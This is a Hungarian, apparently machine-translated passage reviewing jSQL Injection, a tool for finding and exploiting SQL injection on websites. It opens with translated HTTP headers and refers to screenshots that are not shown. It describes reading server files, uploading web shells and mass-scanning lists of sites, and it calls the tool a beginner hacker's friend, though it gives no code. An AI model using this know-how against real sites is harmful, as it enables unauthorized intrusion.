Módszer: HTTP/1.1 200 OK Lejár: 1981. november 19. csütörtök, 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Kapcsolat: életben tartás X-Cache-Lookup: MISS from t1.hoster.ru:6666 Szerver: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS innen t1.hoster.ru Cache-Control: nincs tárhely, nincs gyorsítótár, újra kell érvényesíteni, utólagos ellenőrzés=0, előzetes ellenőrzés=0 Pragma: nincs gyorsítótár Dátum: 2015. december 11. péntek, 12:08:54 GMT Átviteli kódolás: darabolt tartalomtípus: szöveg/html; charset=WINDOWS-1251

Windows rendszeren a webhelyek tipikus mappa a C:\Server\data\htdocs\. Valójában azonban, ha valaki „gondolt” egy szervert Windows rendszeren, akkor nagyon valószínű, hogy ez a személy semmit sem hallott a jogosultságokról. Ezért a próbálkozást közvetlenül a C:/Windows/ könyvtárból kell elkezdenie:

Amint látja, elsőre minden rendben ment.

De maguk a jSQL Injection héjak is kétségeket ébresztenek bennem. Ha rendelkezik fájljogosultsággal, akkor webes felülettel könnyedén feltölthet valamit.

És még ez a funkció is elérhető a jSQL Injectionben. Minden rendkívül egyszerű - töltse le a webhelyek listáját (fájlból importálhatja), válassza ki azokat, amelyeket ellenőrizni szeretne, és kattintson a megfelelő gombra a művelet elindításához.

A jSQL Injection egy jó, hatékony eszköz a webhelyeken található SQL-injekciók kereséséhez, majd használatához. Kétségtelen előnyei: könnyű kezelhetőség, beépített kapcsolódó funkciók. A jSQL Injection a kezdők legjobb barátja lehet webhelyek elemzésekor.

A hiányosságok között megjegyezném az adatbázisok szerkesztésének lehetetlenségét (legalábbis én nem találtam ezt a funkciót). Mint minden grafikus felhasználói eszköz esetében, ennek a programnak az egyik hátránya annak tulajdonítható, hogy nem használható szkriptekben. Ennek ellenére ebben a programban némi automatizálás is lehetséges – a beépített tömeges helyszín-ellenőrzés funkciónak köszönhetően.

A jSQL Injection program használata sokkal kényelmesebb, mint az sqlmap. De az sqlmap több típusú SQL-injektálást támogat, rendelkezik a fájltűzfalakkal való munkavégzéssel és néhány más funkcióval.

A lényeg: A jSQL Injection a kezdő hacker legjobb barátja.

A programhoz a Kali Linux Encyclopedia súgója ezen az oldalon található: http://kali.tools/?p=706